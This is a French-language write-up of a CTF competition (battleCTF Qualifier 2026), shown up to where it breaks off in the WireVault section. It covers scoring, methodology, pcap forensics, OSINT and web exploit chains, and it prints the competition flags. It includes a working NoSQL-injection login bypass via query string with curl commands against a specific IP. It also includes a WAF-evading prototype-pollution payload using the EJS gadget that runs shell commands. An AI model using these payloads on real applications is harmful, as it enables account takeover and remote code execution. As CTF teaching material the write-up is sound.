BUG|PWN & CYBER.INDUSTRIES — BATTLECTF QUALIFIER 2026

Writeup complet battleCTF Qualifier

ctf.bugpwn.com — 4 octobre au 4 novembre 2026

Auteur	**BOUE Hodabalo Raphaël** (« L&M@z4rt »)
Plateforme	ctf.bugpwn.com (CTFd auto-hébergé)
Catégories	pwn · web · OT/ICS · vuln-research (+ bonus « out context »)
Période	2026-10-04 23:00 UTC → 2026-11-04 23:00 UTC
Document	rapport unique — challenges résolus et non résolus

26 / 35
CHALLENGES RÉSOLUS

962
POINTS MARQUÉS

9
CHALLENGES ANALYSÉS NON RÉSOLUS

Document technique — reproduction des chaînes d'exploitation à des fins pédagogiques. Toutes les cibles appartenaient à l'infrastructure du CTF ; aucune cible tierce n'a été testée. Version finale — 10 novembre 2026.

SOMMAIRE

Table des matières

CHAPITRE 1 Synthèse exécutive 4

1.1 Bilan chiffré 4
1.2 Challenges résolus 4
1.3 Ce que le rapport ne peut pas prouver 6

CHAPITRE 2 Contexte et méthodologie 7

2.1 La plateforme 7
2.2 Environnement de travail 7
2.3 Boucle de travail 7
2.4 Discipline de preuve 8
2.5 Pièges d'outillage rencontrés 8

CHAPITRE 3 Chronologie de l'engagement 9

CHAPITRE 4 Out context — les bonus 10

4.1 Operation BLACKHOLE 1 → 8 — une capture, huit questions 10
4.2 Discord — 4 points 11
4.3 0byte — 50 points, résolu sans technique 11
4.4 Know Your Enemy — 8 points 12

CHAPITRE 5 Web — quatre applications, quatre modèles 13

5.1 TicketVault — le sanitizer qui ne voyait que le corps 13
5.2 SwiftNotes — pollution de prototype et gadget EJS 14
5.3 WireVault — fuite de cache, course sur rejeu, bypass de rate-limit 16
5.4 ClearHouse — d'un IDOR GraphQL à une exécution root 17

CHAPITRE 6 Pwn — six binaires, trois architectures 20

6.1 PWN#001 — un delta de compilation, pas un watchpoint 20
6.2 PWN#002 — seccomp, ORW et un gadget pext involontaire 21
6.3 PWN#003 — allocateur maison, double-free et lecture de GOT 23
6.4 PWN#004 — « Pet Shelter » : une seule forge, un vtable détourné 24
6.5 PWN#Alpha — résolu hors session 25
6.6 PWN#Delta — PowerPC 32 bits et chaîne de mtlr 26

CHAPITRE 7 OT / ICS — deux protocoles, deux logiques 28

7.1 OT#001 — Modbus/TCP et le flag statique 28
7.2 OT#002 — Aurora : provoquer un reclose hors phase 29

CHAPITRE 8 Vuln Research — trois cibles, trois niveaux de preuve 31

8.1 VULN#003 — c-ares 1.16.1 et CVE-2020-8277 31
8.2 VULN#004 — 120 points, zéro trace 32
8.3 VULN#005 — GoAhead 6.1.1 : une revue de code négative 33

CHAPITRE 9 Les neuf challenges non résolus 36

9.1 PWN#Beta — MIPS, canari logiciel et execve en une connexion 36
9.2 PWN#005 — full blackbox, sans binaire 37
9.3 PWN#006 — QuickJS derrière un pipe bufferisé 38
9.4 VULN#001 — libexif : bug confirmé, canal d'observation absent 39
9.5 VULN#002 — dnsmasq et le bug DHCPv6 non observable 40
9.6 OT#003 — SSRF complète vers le four, mais pas de condition de flag 41
9.7 OT#004 — OPC-UA simulé : l'adressage des nœuds n'a jamais cédé 43

9.8 OT#005 — IEC-104 : le service s'est tu 44
9.9 PayGate — 1 200 points, la plus grosse occasion manquée 45
9.10 Les cinq solves sans trace : preuve de score ≠ preuve technique 46

CHAPITRE 10 Analyse transversale **48**

10.1 Les cinq schémas gagnants 48
10.2 Les cinq pièges les plus coûteux 49
10.3 Checklist réutilisable 49
10.4 Ce qu'on ferait différemment 50

CHAPITRE 11 Annexes **51**

A. Table définitive des flags 51
B. Inventaire des cibles 52
C. Artefacts et emplacements 53
D. Journal de soumissions — entrées notables 53
E. Abréviations 54

COMMENT LIRE CE RAPPORT

Le document est organisé en trois blocs. La **première partie** (chapitres 1 à 3) donne le bilan chiffré, la méthodologie et la chronologie de l'engagement. La **deuxième partie** (chapitres 4 à 8) contient un writeup par challenge résolu, avec la surface d'attaque, la chaîne d'exploitation, les preuves et les impasses. La **troisième partie** (chapitres 9 à 11) documente les neuf challenges non résolus, l'analyse transversale et les annexes (table des flags, inventaire des cibles, artefacts).

Convention : les commandes et extraits de code sont en encadré sombre ; les flags confirmés apparaissent dans un encadré doré. Les valeurs marquées *non vérifié* n'ont pas été reproduites pendant la session et sont signalées comme telles.

Ce document **consolide et développe** le writeup anglophone de 36 pages produit pendant la compétition (`battleCTF_bugpwn_Writeups_BOUE_Hodabalo_Raphael.pdf`) : les challenges qui y figuraient ont été repris, traduits et complétés avec les neuf challenges non résolus, la méthodologie, la chronologie et les annexes. Les divergences factuelles constatées depuis (architecture du binaire PWN#Beta, numéros de port, correspondance des flags) ont été corrigées et sont signalées au fil du texte.

CHAPITRE 1

Synthèse exécutive

Le qualifier battleCTF 2026 s'est déroulé sur un mois complet (4 octobre → 4 novembre 2026) sur une instance CTFd auto-hébergée. Le dernier relevé exploitable de la plateforme (`challenges_20261028T215503Z.json`, 28 octobre) donne **26 challenges résolus sur 35**, soit **962 points**. Les neuf challenges restants représentaient **2 214 points**, dont un seul (PayGate, 1 200 pts) pesait plus de la moitié de ce reliquat.

1.1 Bilan chiffré

CATÉGORIE	RÉSOLUS	POINTS MARQUÉS	NON RÉSOLUS	POINTS MANQUANTS	COMMENTAIRE
out context (bonus)	11 / 11	162	0	0	Catégorie entièrement nettoyée (forensics réseau + OSINT + plateforme).
web	4 / 5	253	1	1 200	Trois chaînes web complètes ; PayGate reste le seul trou, et de loin le plus gros.
pwn	6 / 9	267	3	362	Six binaires retournés (x86-64, ARM, PowerPC), trois blackbox abandonnés.
Vuln Research	3 / 5	190	2	246	VULN#004 (120 pts) résolu mais sans trace de méthode — voir §9.10.
OT / ICS	2 / 5	90	3	406	Modbus et Aurora maîtrisés ; les trois services binaires suivants ne l'ont pas été.

LECTURE DU SCORE

Le score de 962 points est un *snapshot* : la plateforme applique un *decay* (les points d'un challenge baissent à mesure que les solves augmentent). Les valeurs du tableau sont donc celles du 28 octobre, et non celles du jour de résolution. Les catégories OT/ICS et Vuln Research pesaient proportionnellement plus lourd que le pwn classique : un seul challenge OT non résolu (150 pts) valait plus que trois challenges pwn réunis.

1.2 Challenges résolus

#	CHALLENGE	CATÉGORIE	PTS	SOLVES	TECHNIQUE PRINCIPALE
10	Discord	out context	4	221	Message épinglé du serveur Discord officiel.
1	Operation BLACKHOLE 1	out context	5	333	Analyse pcapng — IP attaquante (`tshark -z conv,ip`).
2	Operation BLACKHOLE 2	out context	5	310	IP victime dans la même table de conversations.

#	CHALLENGE	CATÉGORIE	PTS	SOLVES	TECHNIQUE PRINCIPALE
17	Know Your Enemy	out context	8	96	OSINT : métadonnées de commit GitHub (local-part de l'email).
3	Operation BLACKHOLE 3	out context	10	283	Port TCP ciblé par le flood HTTP.
4	Operation BLACKHOLE 4	out context	10	256	Méthode HTTP utilisée (`GET`).
5	Operation BLACKHOLE 5	out context	10	206	User-Agent dominant malgré la rotation (`curl/8.21.0`).
6	Operation BLACKHOLE 6	out context	15	72	Durée de la conversation TCP complète (83 s).
7	Operation BLACKHOLE 7	out context	15	61	Nombre total de requêtes HTTP du fichier (713).
8	Operation BLACKHOLE 8	out context	30	58	Flag caché dans l'en-tête `Referer` .
9	0byte	out context	50	125	Résolution hors-session (indice externe), pas d'exploit.
11	TicketVault	web	30	278	NoSQLi en query-string contournant le sanitizer du corps.
12	SwiftNotes	web	40	124	Prototype pollution + gadget EJS `outputFunctionName` .
16	WireVault	web	71	44	Fuite de cache partagé + course sur rejeu + bypass de rate-limit par casse.
29	ClearHouse	web	112	20	IDOR GraphQL → traversal → js-yaml v3 verbatim → `toJSON` → RCE root.
13	PWN#001	pwn	45	87	Leak canari 1 octet + shellcode ORW sur `/flag/flag.txt` .
15	PWN#002	pwn	45	116	Canari + seccomp → ORW, gadget `pext rdi,rax,rcx` détourné.
20	PWN#003	pwn	45	96	UAF/double-free + fake chunk + lecture GOT (Full RELRO) → `system` .
21	PWN#004	pwn	30	102	Allocateur maison obfusqué, forge unique → GOT → vtable hijack.
22	PWN#Alpha	pwn	52	75	Résolu hors-session (pas de trace locale de la méthode).
18	PWN#Delta	pwn	50	103	PowerPC 32 bits statique : ROP par chaîne de `mtlr` .
14	OT#001	OT/ICS	45	102	Modbus/TCP — flag statique lu dans les holding registers.
19	OT#002	OT/ICS	45	58	Aurora hors-phase : reclose destructive → buffer diagnostic `0x05` .
28	VULN#003	Vuln Research	40	40	c-ares 1.16.1 — CVE-2020-8277 (débordement de `naddrttls`).
25	VULN#005	Vuln Research	30	39	GoAhead 6.1.1 — source review négative en session, résolu ailleurs.
34	VULN#004	Vuln Research	120	16	Résolu hors-session, aucune trace locale.

1.3 Ce que le rapport ne peut pas prouver

Cinq challenges sont marqués résolus côté plateforme alors qu'aucune méthode ni aucun flag n'a été conservé localement : **0byte**, **PWN#Alpha**, **PWN#004**, **VULN#004** et **VULN#005**. Pour PWN#004, le script d'exploitation complet est préservé (la chaîne est donc reproductible), mais la valeur exacte du flag n'a pas été archivée. Pour les quatre autres, seul le journal de soumissions ou l'état CTFd atteste la réussite. Le chapitre 9 traite ces cas séparément, en distinguant explicitement *preuve technique* et *preuve de score*.

> **PRÉCISION IMPORTANTE SUR LES FLAGS**
>
> Une session antérieure a propagé un tableau de correspondance erroné (PWN#001, PWN#002, PWN#003 et OT#001 y étaient mélangés : par exemple `CTF{a95d4db0…}` était présenté comme le flag de PWN#002 alors qu'il s'agit d'OT#001). Ce rapport se base exclusivement sur `logs/submissions.log` (réponses « Correct » de la plateforme) et sur les flags relus directement dans les fichiers ou les environnements compromis. Les correspondances ont été recoupées une à une ; l'annexe A donne la table définitive.

CHAPITRE 2

Contexte et méthodologie

2.1 La plateforme

L'instance est un CTFd auto-hébergé derrière Cloudflare, avec quatre catégories officiellement notées (**pwn**, **web**, **OT/ICS**, **vuln-research**) et une cinquième étiquette, **« out context »**, qui regroupe des challenges bonus hors barème — en pratique les plus rentables en ratio effort/points du tournoi (11 challenges, 162 points, tous résolus).

MÉCANIQUE	COMPORTEMENT OBSERVÉ	CONSÉQUENCE OPÉRATIONNELLE
Fenêtre	31 jours (04/10 23:00 UTC → 04/11 23:00 UTC)	Aucune pression de temps court ; les challenges ont été publiés par vagues successives.
Scoring	*dynamic decay* : la valeur baisse quand les solves augmentent	Les points du snapshot du 28/10 ne sont pas ceux du jour de résolution.
Tentatives	`max_attempts` variable (1, 2, 3 ou illimité)	Un challenge à 1 tentative (PWN#Beta, BLACKHOLE#3) impose une certitude avant soumission.
Publication	Vagues : 7 challenges le 04/10, puis ajouts jusqu'au 25/10	Nécessite un polling périodique de l'API pour détecter les nouveautés.
Fair-play	Pas de bruteforce de flags, pas d'attaque de la plateforme	Les tentatives de flag sont restées unitaires et motivées ; le scan des cibles est resté borné.

2.2 Environnement de travail

Le travail s'est appuyé sur un dépôt local `~/ctfagent`, structuré pour conserver la mémoire de chaque challenge :

ÉLÉMENT	RÔLE
`workspaces/<challenge>/`	Un dossier par challenge : `notes.md`, `HANDOFF.md`, `attachments/`, `exploit/`, `artifacts/`.
`workspaces/bugpwn/`	Journal transverse : `notes.md`, snapshots JSON de l'API CTFd, `logs/submissions.log`, session Playwright.
`knowledge/writeups/`	Writeups consolidés par catégorie, avec front-matter (cible, statut, tags).
`knowledge/patterns/`	Fiches de patterns réutilisables extraites après résolution.

Outillage utilisé de façon récurrente : **pwntools** (ELF, ROP, tubes), **checksec**, **ROPgadget**, **Ghidra** (décompilation), **gdb/pwndbg** (analyse de core dumps), **tshark/capinfos** (forensics pcap), **curl/ffuf** (web), **libc.rip** (identification de libc), **qemu-user** (binaires ARM et PowerPC), et un client Python maison pour l'API CTFd (`src/tools/platform/ctf_platform_client.py`).

2.3 Boucle de travail

1. **Bootstrap** — création du dossier de challenge, téléchargement des pièces jointes, notation de l'énoncé brut et de `max_attempts`.

2. **Reconnaissance bornée** — quelques sondes courtes et invalidantes (banner, codes de retour, tailles de réponse) avant toute hypothèse. Sur les services binaires : `file`, `readelf -h`, `checksec`, `strings`.
3. **Modèle de menace** — identification de la classe de bug (débordement de pile, UAF, injection, désérialisation, traversée de chemin) et de la primitive nécessaire.
4. **Reproduction locale** — quand c'est possible, la mécanique est reproduite hors ligne avec la version exacte de la bibliothèque (EJS 3.1.6, js-yaml v3, c-ares 1.16.1). Cette étape a plusieurs fois évité de brûler le budget de requêtes d'une cible rate-limitée.
5. **Exploitation et preuve** — la chaîne doit produire un artefact vérifiable : contenu de fichier, sortie de commande, réponse HTTP contenant le flag. Jamais une déduction.
6. **Capitalisation** — écriture d'un writeup et d'un pattern réutilisable, puis archivage du flag dans `submissions.log`.

2.4 Discipline de preuve

Trois règles ont été appliquées après les premières erreurs :

- **Un flag se lit, il ne se devine pas.** Un flag reconstitué « thématiquement » a été refusé sur un autre engagement ; ici, PWN#004 illustre la même prudence : le contenu lu sur disque (`CTF{cd8831a9…964aABI}`) a été rejeté par la plateforme sous toutes ses variantes, et le flag réellement accepté n'a jamais été retrouvé dans les artefacts.
- **La source de vérité est le journal de soumissions**, pas la mémoire de session. Chaque entrée contient l'horodatage, l'identifiant du challenge, le flag et la réponse de la plateforme.
- **Ne pas soumettre sous incertitude quand `max_attempts` vaut 1.** PWN#Beta a été analysé jusqu'au bout sans soumission : mieux vaut zéro point qu'une tentative consommée sur une hypothèse.

2.5 Pièges d'outillage rencontrés

PIÈGE	SYMPTÔME	CORRECTION
`pwn_check.py` maison	Toutes les protections annoncées « désactivées » (PIE, NX, canary, RELRO)	L'outil ne capturait que `stdout` ; pwntools écrit son rapport checksec sur `stderr`. Toujours recouper avec `checksec --file=` ou `ELF(checksec=False)`.
`libc.rip` avec un seul symbole	Un candidat i386 2.26 proposé pour un binaire x86-64 2.42	Envoyer au moins deux symboles fuités et filtrer les architectures incompatibles.
Soumission API	`ok: false` ambigu (ni vrai rejet, ni succès)	Vérifier le jeton CSRF et la fraîcheur de session avant de conclure que le flag est faux.
Pièces jointes vs. serveur live	Le code fourni diffère du code déployé (ClearHouse patché en cours de compétition)	Relire la source live via un bug de divulgation, ne jamais faire confiance au zip initial pour les secrets.
Rate-limit keyé sur `req.ip` sans `trust proxy`	Tous les joueurs partagent le même quota (5 req / 10 min)	Converger plusieurs workers sur une seule sonde à la fois, au lieu de balayer plusieurs hypothèses.

CHAPITRE 3

Chronologie de l'engagement

La chronologie ci-dessous est reconstituée à partir des horodatages de `logs/submissions.log`, des snapshots de l'API et des notes de workspace. Elle explique la progression réelle, y compris les longues périodes de blocage.

DATE (UTC)	ÉVÉNEMENT	DÉTAIL
04/10 23:00	Ouverture	7 challenges visibles, tous en catégorie « out context ».
04/10 23:39	BLACKHOLE 1 & 2	Analyse du pcap `CTF1.pcapng` : IP attaquante et IP victime soumises et acceptées.
05/10	BLACKHOLE 3-8 + Discord	Série complète en une session ; deux erreurs de soumission sur la durée (#6) et le comptage (#7).
06-09/10	PWN#001	Leak canari fiable, puis blocage reproductible sur toute écriture de l'adresse de retour.
09/10	PWN#002, PWN#003, WireVault, PWN#Delta	Journée la plus productive : deux chaînes pwn complètes et deux résolutions web/PPC.
10-14/10	OT#001, PWN#Alpha	Modbus résolu via un writeup externe recoupé ; PWN#Alpha résolu hors-session dès sa publication.
15-20/10	SwiftNotes, TicketVault, OT#002	Prototype pollution EJS, bypass NoSQLi par query-string, Aurora hors-phase.
21-22/10	VULN#003, PWN#004	c-ares CVE-2020-8277 confirmé par diff ; allocateur maison et forge unique.
23-28/10	ClearHouse, VULN#004, VULN#005	Chaîne js-yaml complète (~8 h d'impasse sur le « template »), puis deux solves hors-session.
29/10 - 04/11	PWN#Beta, PWN#005/006, OT#003/004/005, PayGate, VULN#001/002	Tentatives sur les neuf challenges restants ; aucun flag obtenu. Détail au chapitre 9.

CE QUE LA CHRONOLOGIE RÉVÈLE

Les gains se concentrent sur les challenges où une *primitive* claire existait (débordement, UAF, injection, désérialisation). Les neuf échecs partagent un point commun : soit il manquait un binaire ou une spécification (PWN#005, PWN#006), soit le service refusait de parler après un scan (OT#004, OT#005), soit la chaîne supposée n'avait pas de point d'exécution identifiable (PayGate, VULN#001). Autrement dit, l'échec est rarement un échec d'exploitation : c'est presque toujours un échec de *modèle* — on ne savait pas quel était le mécanisme à déclencher.

CHAPITRE 4

Out context — les bonus

Onze challenges, 162 points, zéro échec. Cette catégorie n'entre pas dans le barème officiel mais elle illustre une compétence à part entière : lire une source de données (une capture, un serveur Discord, des métadonnées Git) sans rien casser.

4.1 Operation BLACKHOLE 1 → 8 — une capture, huit questions

CATÉGORIE	out context (bonus)
POINTS	5, 5, 10, 10, 10, 15, 15, 30 (total 90)
PIÈCE JOINTE	`CTF1.pcapng` (une seule capture pour les 8 questions)
OBJECTIF	Répondre à huit questions factuelles croissantes sur un flood HTTP capturé.
STATUT	**8 / 8 RÉSOLUS**

Surface d'analyse

La capture contient une seule conversation significative : un poste attaquant (`192.168.43.128`) qui inonde un serveur web (`192.168.43.1`) sur le port `8000`. Le serveur expose la bannière `SimpleHTTP/0.6 Python/3.14.7`, c'est-à-dire le module `http.server` de la bibliothèque standard. Les requêtes suivent le motif `/?debug=N` avec `N` incrémenté à chaque appel : un flood `GET` volontairement trivial à identifier.

La méthode gagnante consiste à lancer une fois les commandes d'aperçu global, puis à mettre les résultats en cache pour répondre aux huit questions sans relire la capture :

```
capinfos CTF1.pcapng
tshark -r CTF1.pcapng -q -z conv,ip
tshark -r CTF1.pcapng -q -z endpoints,ip
tshark -r CTF1.pcapng -q -z io,phs
tshark -r CTF1.pcapng -Y "http.request" -T fields -e http.request.method -e http.user_agent
tshark -r CTF1.pcapng -Y http -T fields -e http.request.line -e http.response.line | grep -iE "flag|ctf\{"
```

Les huit réponses

#	QUESTION	RAISONNEMENT	RÉPONSE
1	IP de l'attaquant	Table de conversations : source du flux majoritaire.	`192.168.43.128`
2	IP de la victime	Même table, destination du flux.	`192.168.43.1`
3	Port TCP ciblé	Filtre `ip.addr==192.168.43.1 && tcp`.	`8000`
4	Méthode HTTP du flood	`http.request.method` : uniquement `GET`.	`GET`
5	User-Agent le plus fréquent	L'attaquant fait tourner des dizaines d'UA (navigateurs, robots, curl) ; `curl/8.21.0` arrive en tête avec 52 occurrences.	`curl/8.21.0`
6	Durée de l'attaque (s)	Conversation TCP complète : 10:40:33.888 → 10:41:57.134, soit 83,2 s (teardown inclus).	`83`

#	QUESTION	RAISONNEMENT	RÉPONSE
7	Nombre total de requêtes HTTP	Toutes les requêtes de la capture, y compris le trafic légitime de fond, et pas seulement les 668 de l'attaquant.	713
8	Flag caché dans un en-tête	Chaque `GET` porte un `Referer` forgé : `http://ctf.local/CTF{UF0N3t_DD0S_4n4lys1s_2026}`.	`CTF{UF0N3t_DD0S_4n4lys1s_2026}`

Impasses et enseignements

- **#6 — la durée.** Première réponse proposée : `79`, la fenêtre des seules requêtes HTTP sur le port 8000. Refusée. La bonne valeur est `83`, l'intervalle hôte-à-hôte tel que le calcule `tshark -z conv,ip`, qui inclut l'acquittement final et la fermeture. Règle : quand une question de durée est ambiguë entre une fenêtre étroite et une fenêtre large, la plateforme attend la fenêtre *conversationnelle*.
- **#7 — le comptage.** Il faut compter *toutes* les requêtes de la capture, pas seulement celles de l'attaquant : les requêtes de fond légitimes font partie du total. C'est la deuxième et dernière erreur de soumission de la série (les questions #3 et #6 étaient à tentative unique).
- **#8 — le flag.** Il n'est pas dans le corps des requêtes mais dans un en-tête. Le réflexe coûteux à éviter : chercher uniquement dans les payloads HTTP ; `http.request.line` et `http.response.line` couvrent l'intégralité des en-têtes, et un `grep` sur `CTF\{` y répond en une seconde.

> **LEÇON TRANSPOSABLE**
>
> Une capture peut alimenter une chaîne entière de questions. Lancer les commandes d'agrégation (`-z conv,ip`, `-z endpoints,ip`, `-z io,phs`) *avant* de répondre évite de relire huit fois le même fichier, et surtout évite de répondre à une question ambiguë avec une métrique qui n'est pas celle que la plateforme utilise.

4.2 Discord — 4 points

Le flag `CTF{OffWeGo}` était épinglé dans le salon `#général` du serveur Discord de la compétition, sans aucune logique de challenge derrière. Il ne respecte pas le format `battleCTF{...}` annoncé dans les règles — une exception volontaire pour ce bonus. Soumission manuelle par l'utilisateur après lecture du message épinglé.

4.3 0byte — 50 points, résolu sans technique

ÉNONCÉ	`Format : battleCTF{....}` (quatre points littéraux, vérifiés octet par octet via l'API brute)
PIÈCES JOINTES	Aucune. Aucune `connection_info`, aucun indice, aucun tag.
STATUT	**RÉSOLU** — mais par une source externe, jamais par une analyse locale.
FLAG	Non conservé localement (voir §9.10)

La piste sérieuse trouvée en session : un tweet de l'organisateur contenant une chaîne hexadécimale qui décode vers un dépôt GitHub `AfricabattleCTF2024`, et notamment une archive `0byte.zip` du même nom, issue de l'édition 2024. L'archive est chiffrée AES ; le dépôt ne contient qu'un commit daté du 23 octobre 2024, jamais modifié depuis. L'analyse a montré que le mot de passe provenait de la description de l'épreuve 2024 elle-même — un texte jamais public. Les discussions Discord l'ont confirmé a posteriori (*« j'ai utilisé le code postal du commissariat »*), sans jamais donner le code postal.

Neuf hypothèses de jeu de mots ont été testées et rejetées (dont `battleCTF{}`, `{zero}`, `{0x00}`, `{null}`, `{vide}`). Le challenge a finalement été résolu en dehors de la session, par l'utilisateur, vraisemblablement via un contact direct avec l'organisateur ou un ancien participant — la plateforme affiche `solved_by_me: true` avec exactement 9 tentatives, ce qui correspond aux 9 essais infructueux journalisés : la dixième soumission, correcte, n'est jamais passée par l'outillage.

> **PIÈGE À RETENIR**
>
> Quand le format d'un flag est confirmé octet par octet (pas d'Unicode invisible, pas de variante typographique) et que toutes les hypothèses raisonnées échouent, ce n'est plus un problème de devinette : c'est un problème de *canal d'information manquant*. Insister sur les jeux de mots coûte des tentatives et n'apporte rien. La bonne décision est de chercher un indice hors bande : archive d'une édition précédente, message de communauté, contact organisateur.

4.4 Know Your Enemy — 8 points

Énoncé d'OSINT : identifier une personne à partir d'informations publiques, format `CTF{surname}`. La piste qui a payé est un dépôt GitHub : l'historique de commits expose des métadonnées d'auteur, et la partie locale de l'email du committer était `sohoueto`. Le flag `CTF{sohoueto}` a été accepté.

Une piste concurrente, plus séduisante, était fausse : le site officiel publie des articles signés d'un responsable vulnérabilités. Le nom de ce responsable a été testé (`CTF{ADONON}`) et **refusé** par la plateforme. Une signature d'article prouve qu'une personne écrit, pas qu'elle a commis le code. La leçon est nette : en OSINT, la source la plus *directe* (les métadonnées de l'artefact lui-même) bat la source la plus *visible* (un nom en bas de page).

```
git log --format='%an <%ae> %ad' | sort -u
# -> ...  ...   (partie locale == le nom recherché)
```

> **DÉTAIL DE MÉTHODE**
>
> Les métadonnées Git contiennent le nom, l'email et l'horodatage de chaque commit. Sur un dépôt public, cela suffit souvent à désanonymiser un contributeur qui se croit couvert par un pseudonyme. L'énoncé interdisait explicitement le contact, l'ingénierie sociale et le bruteforce : la seule information utilisée ici est un champ `author` lisible par n'importe qui.

CHAPITRE 5

Web — quatre applications, quatre modèles

Quatre challenges web résolus, 253 points. Ils ont en commun une chose : la faille n'était jamais là où l'application attirait l'attention. À chaque fois, un contrôle existait — mais sur un seul des chemins possibles.

5.1 TicketVault — le sanitizer qui ne voyait que le corps

CIBLE	`144.217.91.111:3001`
STACK	Node.js / Express + MongoDB
CATÉGORIE	web — 30 pts (278 solves)
OBJECTIF	Lire le ticket « post-mortem » de la boîte de réception de l'admin.
FLAG	`CTF{a1428a3ae5db7d74d6c6d1eab1c6296f}`

Surface d'attaque

Trois routes sont exposées : `/register`, `/login` et `/tickets/search`. Chaque utilisateur ne voit que ses propres tickets. Deux modules utilitaires sont volontairement absents du code fourni : `./utils/sanitize.js` (qui expose `resolveLoginCredentials`, utilisé uniquement par `/login`) et `./utils/ticketFilter.js` (qui expose `buildScopedFilter`, utilisé par `/tickets/search`). La faille est nécessairement dans l'un des deux — c'est un aveu de l'auteur, et un bon point de départ.

Chaîne d'exploitation

1. **Injection NoSQL classique dans le corps** — `password: {"$ne": null}`, `{"$gt": ""}`, puis une expression régulière passée en chaîne. Toutes échouent : `resolveLoginCredentials` convertit bien la valeur du corps en chaîne.
2. **Contournement du filtre de recherche** — le paramètre `filter` de `/tickets/search` accepte du JSON brut (« advanced filter, power users »). Les tentatives de réécriture du champ `owner` (`{"owner":"admin"}`, `{"owner":{"$ne":"testuser123"}}`, `{"owner":{"$regex":"^a"}}`, `{}`, `{"$where":"true"}`) ne renvoient jamais que nos propres tickets : le filtre est probablement enveloppé dans un `$and` côté serveur, ou whitelisté. Le resserrement sur `subject` / `content` fonctionne, ce qui confirme que l'injection parse bien, mais le champ propriétaire est verrouillé.
3. **Impasse structurelle sur `/register`** — l'inscription fait un `findOne({username})` brut. Enregistrer un objet opérateur comme `username` fonctionnerait en théorie, mais ce même objet matcherait d'abord la ligne réelle de l'admin dans le pré-contrôle, bloquant l'inscription. Déduit par la logique, vérifié sans avoir à le tester.
4. **Pause et reprise** — après une annonce de l'organisateur (« TicketVault updated »), nouvelle analyse. Le correctif a durci le corps, mais `Express` fusionne plusieurs sources d'entrée : la route lit le mot de passe depuis une source qui honore aussi `req.query`. Déplacer le payload du corps vers la query string contourne le sanitizer :

```
POST /login?password[$ne]=x
Content-Type: application/x-www-form-urlencoded

username=admin
```

Le parseur `qs` d'Express transforme `password[$ne]=x` en `req.query.password = {"$ne": "x"}`, un véritable objet opérateur MongoDB, tandis que le corps ne porte que `username=admin`. La requête exécutée devient :

```
db.collection('users').findOne({ username: 'admin', password: { $ne: 'x' } })
```

Le mot de passe réel de l'admin n'étant évidemment pas la chaîne `"x"`, la condition est vraie et la session ouverte. Le ticket « Root cause analysis - incident 2024-03 » contient le flag en clair.

```
curl -s -X POST "http://144.217.91.111:3001/login?password[$ne]=x" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=admin" -c cookies.txt -b cookies.txt -i
curl -s http://144.217.91.111:3001/tickets -b cookies.txt
```

Impasses

- Injection NoSQL dans le corps : correctement neutralisée, aucune variante n'a passé.
- Réécriture de `owner` dans `filter` : champ whitelisté ou enveloppé.
- Fuite de source statique (`/server.js`, `/db.js`, `/utils/*.js`, `/.env`) : 404 partout, pas de `express.static` mal configuré.
- Sonde `__proto__` / pollution de prototype : a fait tomber l'instance partagée une fois (redémarrage du processus Node, secret de session en mémoire régénéré). Abandonnée : signal nul, risque de lecture « attaque d'infra » au titre du fair-play.

> **LEÇON**
>
> Un sanitizer appliqué au corps ne protège rien si la route lit aussi la query string. Quand toutes les variantes d'un payload connu échouent, la question n'est pas « quel autre payload ? » mais « quelle autre *source* ? » — corps, query, en-têtes, cookies, fichiers. Et re-tester après une annonce de correctif : ici le correctif a fermé une porte en laissant l'autre ouverte.

5.2 SwiftNotes — pollution de prototype et gadget EJS

CIBLE	Application de notes, rendu EJS `ejs@3.1.6`
CATÉGORIE	web — 40 pts (124 solves)
OBJECTIF	Exécution de commande via la génération de code du moteur de template.
FLAG	`CTF{5e038be14a277c1bf8b912e06de7d943}`

Surface d'attaque

`POST /api/settings` effectue `merge(user.settings, req.body)` — un puits de pollution de prototype classique, à condition que `__proto__` survive comme clé littérale jusqu'à l'appel. Un WAF bloque la chaîne `__proto__`, mais `JSON.parse` résout une clé échappée en Unicode vers la propriété réelle, tandis

que le filtre du WAF ne voit jamais le mot en clair. C'est l'écart sémantique classique entre le parseur et le filtre.

Chaîne d'exploitation

1. **Contourner le WAF** — envoyer la clé `__proto__` échappée en Unicode (`\u005f\u005fproto\u005f\u005f`) dans le corps JSON brut. `JSON.parse` la résout vers le vrai prototype ; `merge()` mute donc réellement `Object.prototype`.
2. **Choisir le gadget** — `Object.prototype.outputFunctionName`, le gadget d'injection d'identifiant d'EJS antérieur à 3.1.10 (CVE-2022-29078). Le WAF a ensuite bloqué le nom littéral `outputFunctionName` ; même contournement, en échappant un caractère de la clé.
3. **Construire un canal d'exfiltration** — le premier réflexe (`throw new Error(cmd_output)`, repris des PoC publics) ne marche pas : le service tourne en mode production et renvoie une erreur générique. Le gadget qui fonctionne appelle directement la fonction de buffer de rendu d'EJS, `__append(...)`, pour que la sortie de commande atterrisse dans le corps de la page normalement rendue (HTTP 200).
4. **Régler le problème de portée de `require`** — dans le corps compilé par EJS (une `new Function(...)`), `require` n'existe pas. Il faut passer par `process.mainModule.require('child_process')`, ce qui n'est valide que si Node est lancé comme script d'entrée réel (`node server.js`), et non via `node -e` — confirmé localement, et conforme au mode de lancement de la cible.
5. **Déclencher** — `GET /notes` provoque un `res.render()` ; avec `view cache: false`, le template est recompilé et le gadget s'applique immédiatement.

```
POST /api/settings HTTP/1.1
Content-Type: application/json

{"\u005f\u005fproto\u005f\u005f":{"outputFunctionName":
 "x;__append((function(){try{return process.mainModule.require('child_process')
 .execSync('cat /flag*').toString()}catch(e){return String(e)}})());var y"}}

GET /notes HTTP/1.1
```

Preuves et impasses

- Reproduction locale avec `npm install ejs@3.1.6` dans un répertoire de travail, pollution manuelle de `Object.prototype`, exécution en script d'entrée : le comportement de la cible est reproduit à l'identique. Cela a permis d'éliminer deux impasses avant de consommer du budget de requêtes.
- `ReferenceError: require is not defined` observé en direct : le problème de portée est constaté, pas supposé.
- `localsName` comme gadget alternatif : non bloqué par le WAF, mais plus difficile à placer (utilisé à plusieurs endroits du code généré). Non poursuivi une fois `outputFunctionName` réactivé.

> **LEÇON**
>
> Un WAF qui bloque un nom littéral se contourne presque toujours en échappant un caractère de ce nom. Et avant d'itérer sur la syntaxe exacte d'un gadget en live, il faut reproduire le mécanisme hors ligne avec la version exacte de la bibliothèque, dans le même mode d'exécution que la cible : un détail comme `process.mainModule` peut transformer cinq allers-retours en une seule requête.

5.3 WireVault — fuite de cache, course sur rejeu, bypass de rate-limit

CIBLE	`144.217.91.111:3003` — service de paiement / règlement interne
